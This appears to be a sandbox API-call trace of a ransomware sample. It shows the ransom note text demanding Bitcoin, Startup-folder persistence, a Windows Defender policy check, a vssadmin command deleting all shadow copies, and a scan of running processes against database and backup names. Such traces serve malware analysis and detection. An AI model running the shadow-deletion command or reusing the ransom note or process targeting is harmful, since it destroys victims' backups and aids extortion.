[0102.836] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bf628 | out: hHeap=0x450000) returned 1
[0102.836] IInternetProtocolRoot:Terminate (This=0x494768, dwOptions=0x0) returned 0x0
[0102.836] IUnknown:Release (This=0x494004) returned 0x4
[0102.836] IUnknown:Release (This=0x49403c) returned 0x3
[0102.836] IUnknown:Release (This=0x49403c) returned 0x2
[0102.837] GetCurrentThreadId () returned 0x6d0
[0102.837] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xe44) returned 0x4e0ec8
[0102.837] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x4ba168, cbMultiByte=1823, lpWideCharStr=0x4e0ecc, cchWideChar=1823 | out: lpWideCharStr=" to us. After payment we will send you the decryption tool that will decrypt all your files.\r\n\x09
\r\n\x09\r\n\x09\r\n
Free decryption as guarantee
\r\n\x09\x09
\r\n\x09\x09 - Before payment you can send us 1-3 files for free decryption.
\r\n - Please note that files must NOT contain valuable information.
\r\n - The file size should not exceed 1MB.
\r\n - As evidence, we can decrypt one file
\r\n
\r\n
\r\n\r\n \r\n
How to obtain Bitcoins
\r\n
\r\n
\r\n\r\n \r\n
Attention!
\r\n
\r\n - Do not rename encrypted files
\r\n - Do not try to decrypt your data using third party software, it may cause permanent data loss
\r\n - You are guaranteed to get the decryptor after payment
\r\n - As evidence, we can decrypt one file
\r\n - Do not attempt to use the antivirus or uninstall the program
\r\n - This will lead to your data loss and unrecoverable
\r\n - Decoders of other users is not suitable to decrypt your files - encryption key is unique
\r\n
\r\n
\r\n \r\n") returned 1823
[0102.837] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x808) returned 0x48a588
[0102.837] WaitForSingleObject (hHandle=0x1dc, dwMilliseconds=0x927c0)
Thread:
id = 49
os_tid = 0x6e4
[0100.575] GetCurrentThreadId () returned 0x6e4
[0171.656] GetCurrentThreadId () returned 0x6e4
Thread:
id = 50
os_tid = 0x6f0
[0100.884] GetCurrentThreadId () returned 0x6f0
Thread:
id = 51
os_tid = 0x6f4
[0100.884] GetCurrentThreadId () returned 0x6f4
[0194.838] GetCurrentThreadId () returned 0x6f4
Thread:
id = 52
os_tid = 0x6fc
[0102.943] GetCurrentThreadId () returned 0x6fc
[0102.943] LoadLibraryW (lpLibFileName="mshtml.dll") returned 0x73130000
[0102.954] CoInitialize (pvReserved=0x0) returned 0x0
[0102.955] ConvertThreadToFiber (lpParameter=0x0) returned 0x4ba168
[0102.960] CreateFiber (dwStackSize=0x8000, lpStartAddress=0x732b5cb1, lpParameter=0x4b8c6c) returned 0x4ba468
[0102.961] SwitchToFiber (lpFiber=0x4ba468)
[0102.961] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0x10) returned 0x498878
[0102.961] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x0, Size=0xc) returned 0x498890
[0102.961] LoadLibraryA (lpLibFileName="ImgUtil.dll") returned 0x746f0000
[0103.050] GetProcAddress (hModule=0x746f0000, lpProcName="DecodeImage") returned 0x746f21a5
[0103.050] DecodeImage () returned 0x0
[0103.171] CoTaskMemAlloc (cb=0x30) returned 0x4b2988
[0103.173] RtlAllocateHeap (HeapHandle=0x450000, Flags=0x8, Size=0x60) returned 0x49f128
[0103.173] CreateCompatibleDC (hdc=0x0) returned 0x5010200
[0103.174] SetStretchBltMode (hdc=0x5010200, mode=3) returned 1
[0103.174] CreateDIBSection (in: hdc=0x5010200, lpbmi=0x3aaec68, usage=0x0, ppvBits=0x49f134, hSection=0x0, offset=0x0 | out: ppvBits=0x49f134) returned 0x50501fe
[0103.174] DeleteDC (hdc=0x5010200) returned 1
[0103.174] GetProcAddress (hModule=0x746f0000, lpProcName="CreateDDrawSurfaceOnDIB") returned 0x746f29ad
[0103.174] CreateDDrawSurfaceOnDIB () returned 0x0
[0103.178] GetCurrentThreadId () returned 0x6fc
[0103.179] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x49d7b8 | out: hHeap=0x450000) returned 1
[0103.179] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x498890 | out: hHeap=0x450000) returned 1
[0103.179] SwitchToFiber (lpFiber=0x4ba168)
[0103.179] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x498878 | out: hHeap=0x450000) returned 1
[0103.180] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.180] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.180] IUnknown:Release (This=0x47db0c) returned 0x4
[0103.180] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.180] CoTaskMemFree (pv=0x4bc160)
[0103.180] GetProcessHeap () returned 0x450000
[0103.180] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4c6380 | out: hHeap=0x450000) returned 1
[0103.180] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4bc140 | out: hHeap=0x450000) returned 1
[0103.180] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b77b8 | out: hHeap=0x450000) returned 1
[0103.180] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4987b8 | out: hHeap=0x450000) returned 1
[0103.180] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.180] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x450000) returned 1
[0103.180] IUnknown:Release (This=0x47db0c) returned 0x3
[0103.180] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4b7600 | out: hHeap=0x450000) returned 1
[0103.180] HeapFree (in: hHeap=0x450000, dwFlags=0x0, lpMem=0x4c80c0 | out: hHeap=0x450000) returned 1
[0103.180] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0x927c0) returned 0x0
[0103.181] WaitForSingleObject (hHandle=0x268, dwMilliseconds=0x927c0)
Thread:
id = 107
os_tid = 0x1dc
[0212.861] GetCurrentThreadId () returned 0x1dc
Process:
id = "8"
image_name = "twu5x5u5jjqyrmbjt4z9mff9knv5.exe"
filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\twu5x5u5jjqyrmbjt4z9mff9knv5.exe"
page_root = "0x177c5000"
os_pid = "0x6b0"
os_integrity_level = "0x3000"
os_privileges = "0x60800000"
monitor_reason = "child_process"
parent_id = "6"
os_parent_pid = "0x4d4"
cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\twU5X5u5JjqyRmBjT4Z9MFf9KNV5.exe\" "
cur_dir = "C:\\Windows\\SysWOW64\\"
os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
bitness = "32"
os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e21c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]
Thread:
id = 53
os_tid = 0x60c
[0111.483] GetUserDefaultLangID () returned 0x409
[0111.485] GetModuleHandleA (lpModuleName=0x0) returned 0xc30000
[0111.485] FindResourceW (hModule=0xc30000, lpName=0x1, lpType=0xa) returned 0xc3a048
[0111.488] LoadResource (hModule=0xc30000, hResInfo=0xc3a048) returned 0xc3a058
[0111.488] SizeofResource (hModule=0xc30000, hResInfo=0xc3a048) returned 0x22a
[0111.488] GetProcessHeap () returned 0x810000
[0111.488] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0x22a) returned 0x82e618
[0111.488] RegOpenKeyW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Policies\\Microsoft\\Windows Defender", phkResult=0x3efbb4 | out: phkResult=0x3efbb4*=0x0) returned 0x2
[0111.488] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x3ef78c | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x0
[0111.492] PathAddBackslashW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned=""
[0111.492] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\parid.bin" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\parid.bin"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x6, hTemplateFile=0x0) returned 0xb4
[0111.492] GetLastError () returned 0xb7
[0111.492] ReadFile (in: hFile=0xb4, lpBuffer=0xc39218, nNumberOfBytesToRead=0x6, lpNumberOfBytesRead=0x3ef994, lpOverlapped=0x0 | out: lpBuffer=0xc39218, lpNumberOfBytesRead=0x3ef994*=0x0, lpOverlapped=0x0) returned 0
[0111.492] CloseHandle (hObject=0xb4) returned 1
[0111.492] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3ef130, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\twU5X5u5JjqyRmBjT4Z9MFf9KNV5.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\twu5x5u5jjqyrmbjt4z9mff9knv5.exe")) returned 0x7c
[0111.492] PathRemoveFileSpecW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\twU5X5u5JjqyRmBjT4Z9MFf9KNV5.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 1
[0111.492] ExpandEnvironmentStringsW (in: lpSrc="%appdata%", lpDst=0x3ef748, nSize=0x104 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2e
[0111.492] CryptAcquireContextW (in: phProv=0x3ef9ac, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x3ef9ac*=0x82eb30) returned 1
[0111.532] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x3ef98c | out: TokenHandle=0x3ef98c*=0xb4) returned 1
[0111.532] GetTokenInformation (in: TokenHandle=0xb4, TokenInformationClass=0x14, TokenInformation=0x3ef984, TokenInformationLength=0x4, ReturnLength=0x3ef988 | out: TokenInformation=0x3ef984, ReturnLength=0x3ef988) returned 1
[0111.532] CloseHandle (hObject=0xb4) returned 1
[0111.532] CreateProcessW (in: lpApplicationName="C:\\Windows\\sysnative\\vssadmin.exe", lpCommandLine=" delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x3ef940*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x3ef988 | out: lpCommandLine=" delete shadows /all /quiet", lpProcessInformation=0x3ef988*(hProcess=0xb0, hThread=0xb4, dwProcessId=0x688, dwThreadId=0x68c)) returned 1
[0111.542] CloseHandle (hObject=0xb4) returned 1
[0111.542] CloseHandle (hObject=0xb0) returned 1
[0111.542] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xb0
[0111.545] Process32NextW (in: hSnapshot=0xb0, lppe=0x3ef748 | out: lppe=0x3ef748*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
[0111.546] StrCmpNW (lpStr1="[Syst", lpStr2="mysql", nChar=5) returned -1
[0111.546] StrCmpNW (lpStr1="[Sy", lpStr2="IBM", nChar=3) returned -1
[0111.546] StrCmpNW (lpStr1="[Syst", lpStr2="bes10", nChar=5) returned -1
[0111.546] StrCmpNW (lpStr1="[Syst", lpStr2="black", nChar=5) returned -1
[0111.546] StrCmpNW (lpStr1="[Sy", lpStr2="sql", nChar=3) returned -1
[0111.546] StrCmpNW (lpStr1="[System P", lpStr2="store.exe", nChar=9) returned -1
[0111.546] StrCmpNW (lpStr1="[Sy", lpStr2="vee", nChar=3) returned -1
[0111.546] StrCmpNW (lpStr1="[Syst", lpStr2="postg", nChar=5) returned -1
[0111.546] StrCmpNW (lpStr1="[Sys", lpStr2="sage", nChar=4) returned -1
[0111.546] Process32NextW (in: hSnapshot=0xb0, lppe=0x3ef748 | out: lppe=0x3ef748*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
[0111.546] StrCmpNW (lpStr1="Syste", lpStr2="mysql", nChar=5) returned 1
[0111.546] StrCmpNW (lpStr1="Sys", lpStr2="IBM", nChar=3) returned 1
[0111.546] StrCmpNW (lpStr1="Syste", lpStr2="bes10", nChar=5) returned 1
[0111.546] StrCmpNW (lpStr1="Syste", lpStr2="black", nChar=5) returned 1
[0111.546] StrCmpNW (lpStr1="Sys", lpStr2="sql", nChar=3) returned 1
[0111.546] StrCmpNW (lpStr1="System", lpStr2="store.exe", nChar=9) returned 1
[0111.546] StrCmpNW (lpStr1="Sys", lpStr2="vee", nChar=3) returned -1
[0111.546] StrCmpNW (lpStr1="Syste", lpStr2="postg", nChar=5) returned 1
[0111.546] StrCmpNW (lpStr1="Syst", lpStr2="sage", nChar=4) returned 1
[0111.546] Process32NextW (in: hSnapshot=0xb0, lppe=0x3ef748 | out: lppe=0x3ef748*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
[0111.547] StrCmpNW (lpStr1="smss.", lpStr2="mysql", nChar=5) returned 1
[0111.547] StrCmpNW (lpStr1="sms", lpStr2="IBM", nChar=3) returned 1
[0111.547] StrCmpNW (lpStr1="smss.", lpStr2="bes10", nChar=5) returned 1
[0111.547] StrCmpNW (lpStr1="smss.", lpStr2="black", nChar=5) returned 1
[0111.547] StrCmpNW (lpStr1="sms", lpStr2="sql", nChar=3) returned -1
[0111.547] StrCmpNW (lpStr1="smss.exe", lpStr2="store.exe", nChar=9) returned -1
[0111.547] StrCmpNW (lpStr1="sms", lpStr2="vee", nChar=3) returned -1
[0111.547] StrCmpNW (lpStr1="smss.", lpStr2="postg", nChar=5) returned 1
[0111.547] StrCmpNW (lpStr1="smss", lpStr2="sage", nChar=4) returned 1
[0111.547] Process32NextW (in: hSnapshot=0xb0, lppe=0x3ef748 | out: lppe=0x3ef748*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
[0111.547] StrCmpNW (lpStr1="csrss", lpStr2="mysql", nChar=5) returned -1
[0111.547] StrCmpNW (lpStr1="csr", lpStr2="IBM", nChar=3) returned -1
[0111.547] StrCmpNW (lpStr1="csrss", lpStr2="bes10", nChar=5) returned 1
[0111.547] StrCmpNW (lpStr1="csrss", lpStr2="black", nChar=5) returned 1
[0111.547] StrCmpNW (lpStr1="csr", lpStr2="sql", nChar=3) returned -1
[0111.547] StrCmpNW (lpStr1="csrss.exe", lpStr2="store.exe", nChar=9) returned -1
[0111.547] StrCmpNW (lpStr1="csr", lpStr2="vee", nChar=3) returned -1
[0111.547] StrCmpNW (lpStr1="csrss", lpStr2="postg", nChar=5) returned -1
[0111.548] StrCmpNW (lpStr1="csrs", lpStr2="sage", nChar=4) returned -1
[0111.548] Process32NextW (in: hSnapshot=0xb0, lppe=0x3ef748 | out: lppe=0x3ef748*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
[0111.548] StrCmpNW (lpStr1="winin", lpStr2="mysql", nChar=5) returned 1
[0111.548] StrCmpNW (lpStr1="win", lpStr2="IBM", nChar=3) returned 1
[0111.548] StrCmpNW (lpStr1="winin", lpStr2="bes10", nChar=5) returned 1
[0111.548] StrCmpNW (lpStr1="winin", lpStr2="black", nChar=5) returned 1
[0111.548] StrCmpNW (lpStr1="win", lpStr2="sql", nChar=3) returned 1
[0111.548] StrCmpNW (lpStr1="wininit.e", lpStr2="store.exe", nChar=9) returned 1
[0111.548] StrCmpNW (lpStr1="win", lpStr2="vee", nChar=3) returned 1
[0111.548] StrCmpNW (lpStr1="winin", lpStr2="postg", nChar=5) returned 1
[0111.548] StrCmpNW (lpStr1="wini", lpStr2="sage", nChar=4) returned 1
[0111.548] Process32NextW (in: hSnapshot=0xb0, lppe=0x3ef748 | out: lppe=0x3ef748*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
[0111.548] StrCmpNW (lpStr1="csrss", lpStr2="mysql", nChar=5) returned -1
[0111.548] StrCmpNW (lpStr1="csr", lpStr2="IBM", nChar=3) returned -1
[0111.548] StrCmpNW (lpStr1="csrss", lpStr2="bes10", nChar=5) returned 1
[0111.548] StrCmpNW (lpStr1="csrss", lpStr2="black", nChar=5) returned 1
[0111.549] StrCmpNW (lpStr1="csr", lpStr2="sql", nChar=3) returned -1
[0111.549] StrCmpNW (lpStr1="csrss.exe", lpStr2="store.exe", nChar=9) returned -1
[0111.549] StrCmpNW (lpStr1="csr", lpStr2="vee", nChar=3) returned -1
[0111.549] StrCmpNW (lpStr1="csrss", lpStr2="postg", nChar=5) returned -1
[0111.549] StrCmpNW (lpStr1="csrs", lpStr2="sage", nChar=4) returned -1
[0111.549] Process32NextW (in: hSnapshot=0xb0, lppe=0x3ef748 | out: lppe=0x3ef748*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
[0111.549] StrCmpNW (lpStr1="winlo", lpStr2="mysql", nChar=5) returned 1
[0111.549] StrCmpNW (lpStr1="win", lpStr2="IBM", nChar=3) returned 1
[0111.549] StrCmpNW (lpStr1="winlo", lpStr2="bes10", nChar=5) returned 1
[0111.549] StrCmpNW (lpStr1="winlo", lpStr2="black", nChar=5) returned 1
[0111.549] StrCmpNW (lpStr1="win", lpStr2="sql", nChar=3) returned 1
[0111.549] StrCmpNW (lpStr1="winlogon.", lpStr2="store.exe", nChar=9) returned 1
[0111.549] StrCmpNW (lpStr1="win", lpStr2="vee", nChar=3) returned 1
[0111.549] StrCmpNW (lpStr1="winlo", lpStr2="postg", nChar=5) returned 1
[0111.549] StrCmpNW (lpStr1="winl", lpStr2="sage", nChar=4) returned 1
[0111.549] Process32NextW (in: hSnapshot=0xb0, lppe=0x3ef748 | out: lppe=0x3ef748*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
[0111.550] StrCmpNW (lpStr1="servi", lpStr2="mysql", nChar=5) returned 1
[0111.550] StrCmpNW (lpStr1="ser", lpStr2="IBM", nChar=3) returned 1
[0111.550] StrCmpNW (lpStr1="servi", lpStr2="bes10", nChar=5) returned 1
[0111.550] StrCmpNW (lpStr1="servi", lpStr2="black", nChar=5) returned 1
[0111.550] StrCmpNW (lpStr1="ser", lpStr2="sql", nChar=3) returned -1
[0111.550] StrCmpNW (lpStr1="services.", lpStr2="store.exe", nChar=9) returned -1
[0111.550] StrCmpNW (lpStr1="ser", lpStr2="vee", nChar=3) returned -1
[0111.550] StrCmpNW (lpStr1="servi", lpStr2="postg", nChar=5) returned 1
[0111.550] StrCmpNW (lpStr1="serv", lpStr2="sage", nChar=4) returned 1
[0111.550] Process32NextW (in: hSnapshot=0xb0, lppe=0x3ef748 | out: lppe=0x3ef748*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
[0111.550] StrCmpNW (lpStr1="lsass", lpStr2="mysql", nChar=5) returned -1
[0111.550] StrCmpNW (lpStr1="lsa", lpStr2="IBM", nChar=3) returned 1
[0111.550] StrCmpNW (lpStr1="lsass", lpStr2="bes10", nChar=5) returned 1
[0111.550] StrCmpNW (lpStr1="lsass", lpStr2="black", nChar=5) returned 1
[0111.550] StrCmpNW (lpStr1="lsa", lpStr2="sql", nChar=3) returned -1
[0111.550] StrCmpNW (lpStr1="lsass.exe", lpStr2="store.exe", nChar=9) returned -1
[0111.550] StrCmpNW (lpStr1="lsa", lpStr2="vee", nChar=3) returned -1
[0111.550] StrCmpNW (lpStr1="lsass", lpStr2="postg", nChar=5) returned -1
[0111.551] StrCmpNW (lpStr1="lsas", lpStr2="sage", nChar=4) returned -1
[0111.551] Process32NextW (in: hSnapshot=0xb0, lppe=0x3ef748 | out: lppe=0x3ef748*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
[0111.551] StrCmpNW (lpStr1="lsm.e", lpStr2="mysql", nChar=5) returned -1
[0111.551] StrCmpNW (lpStr1="lsm", lpStr2="IBM", nChar=3) returned 1
[0111.551] StrCmpNW (lpStr1="lsm.e", lpStr2="bes10", nChar=5) returned 1
[0111.551] StrCmpNW (lpStr1="lsm.e", lpStr2="black", nChar=5) returned 1
[0111.551] StrCmpNW (lpStr1="lsm", lpStr2="sql", nChar=3) returned -1
[0111.551] StrCmpNW (lpStr1="lsm.exe", lpStr2="store.exe", nChar=9) returned -1
[0111.551] StrCmpNW (lpStr1="lsm", lpStr2="vee", nChar=3) returned -1
[0111.551] StrCmpNW (lpStr1="lsm.e", lpStr2="postg", nChar=5) returned -1
[0111.551] StrCmpNW (lpStr1="lsm.", lpStr2="sage", nChar=4) returned -1
[0111.551] Process32NextW (in: hSnapshot=0xb0, lppe=0x3ef748 | out: lppe=0x3ef748*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
[0111.551] StrCmpNW (lpStr1="svcho", lpStr2="mysql", nChar=5) returned 1
[0111.551] StrCmpNW (lpStr1="svc", lpStr2="IBM", nChar=3) returned 1
[0111.551] StrCmpNW (lpStr1="svcho", lpStr2="bes10", nChar=5) returned 1
[0111.552] StrCmpNW (lpStr1="svcho", lpStr2="black", nChar=5) returned 1
[0111.552] StrCmpNW (lpStr1="svc", lpStr2="sql", nChar=3) returned 1
[0111.552] StrCmpNW (lpStr1="svchost.e", lpStr2="store.exe", nChar=9) returned 1
[0111.552] StrCmpNW (lpStr1="svc", lpStr2="vee", nChar=3) returned -1
[0111.552] StrCmpNW (lpStr1="svcho", lpStr2="postg", nChar=5) returned 1
[0111.552] StrCmpNW (lpStr1="svch", lpStr2="sage", nChar=4) returned 1
[0111.552] Process32NextW (in: hSnapshot=0xb0, lppe=0x3ef748 | out: lppe=0x3ef748*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
[0111.552] StrCmpNW (lpStr1="svcho", lpStr2="mysql", nChar=5) returned 1
[0111.552] StrCmpNW (lpStr1="svc", lpStr2="IBM", nChar=3) returned 1
[0111.552] StrCmpNW (lpStr1="svcho", lpStr2="bes10", nChar=5) returned 1
[0111.552] StrCmpNW (lpStr1="svcho", lpStr2="black", nChar=5) returned 1
[0111.552] StrCmpNW (lpStr1="svc", lpStr2="sql", nChar=3) returned 1
[0111.552] StrCmpNW (lpStr1="svchost.e", lpStr2="store.exe", nChar=9) returned 1
[0111.552] StrCmpNW (lpStr1="svc", lpStr2="vee", nChar=3) returned -1
[0111.552] StrCmpNW (lpStr1="svcho", lpStr2="postg", nChar=5) returned 1
[0111.552] StrCmpNW (lpStr1="svch", lpStr2="sage", nChar=4) returned 1
[0111.552] Process32NextW (in: hSnapshot=0xb0, lppe=0x3ef748 | out: lppe=0x3ef748*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
[0111.553] StrCmpNW (lpStr1="svcho", lpStr2="mysql", nChar=5) returned 1
[0111.553] StrCmpNW (lpStr1="svc", lpStr2="IBM", nChar=3) returned 1
[0111.553] StrCmpNW (lpStr1="svcho", lpStr2="bes10", nChar=5) returned 1
[0111.553] StrCmpNW (lpStr1="svcho", lpStr2="black", nChar=5) returned 1
[0111.553] StrCmpNW (lpStr1="svc", lpStr2="sql", nChar=3) returned 1
[0111.553] StrCmpNW (lpStr1="svchost.e", lpStr2="store.exe", nChar=9) returned 1
[0111.553] StrCmpNW (lpStr1="svc", lpStr2="vee", nChar=3) returned -1
[0111.553] StrCmpNW (lpStr1="svcho", lpStr2="postg", nChar=5) returned 1
[0111.553] StrCmpNW (lpStr1="svch", lpStr2="sage", nChar=4) returned 1
[0111.553] Process32NextW (in: hSnapshot=0xb0, lppe=0x3ef748 | out: lppe=0x3ef748*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
[0111.553] StrCmpNW (lpStr1="svcho", lpStr2="mysql", nChar=5) returned 1
[0111.553] StrCmpNW (lpStr1="svc", lpStr2="IBM", nChar=3) returned 1
[0111.553] StrCmpNW (lpStr1="svcho", lpStr2="bes10", nChar=5) returned 1
[0111.553] StrCmpNW (lpStr1="svcho", lpStr2="black", nChar=5) returned 1
[0111.553] StrCmpNW (lpStr1="svc", lpStr2="sql", nChar=3) returned 1
[0111.553] StrCmpNW (lpStr1="svchost.e", lpStr2="store.exe", nChar=9) returned 1
[0111.553] StrCmpNW (lpStr1="svc", lpStr2="vee", nChar=3) returned -1
[0111.553] StrCmpNW (lpStr1="svcho", lpStr2="postg", nChar=5) returned 1
[0111.553] StrCmpNW (lpStr1="svch", lpStr2="sage", nChar=4) returned 1
[0111.553] Process32NextW (in: hSnapshot=0xb0, lppe=0x3ef748 | out: lppe=0x3ef748*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
[0111.554] StrCmpNW (lpStr1="svcho", lpStr2="mysql", nChar=5) returned 1
[0111.554] StrCmpNW (lpStr1="svc", lpStr2="IBM", nChar=3) returned 1
[0111.554] StrCmpNW (lpStr1="svcho", lpStr2="bes10", nChar=5) returned 1
[0111.554] StrCmpNW (lpStr1="svcho", lpStr2="black", nChar=5) returned 1
[0111.554] StrCmpNW (lpStr1="svc", lpStr2="sql", nChar=3) returned 1
[0111.554] StrCmpNW (lpStr1="svchost.e", lpStr2="store.exe", nChar=9) returned 1
[0111.554] StrCmpNW (lpStr1="svc", lpStr2="vee", nChar=3) returned -1
[0111.554] StrCmpNW (lpStr1="svcho", lpStr2="postg", nChar=5) returned 1
[0111.554] StrCmpNW (lpStr1="svch", lpStr2="sage", nChar=4) returned 1
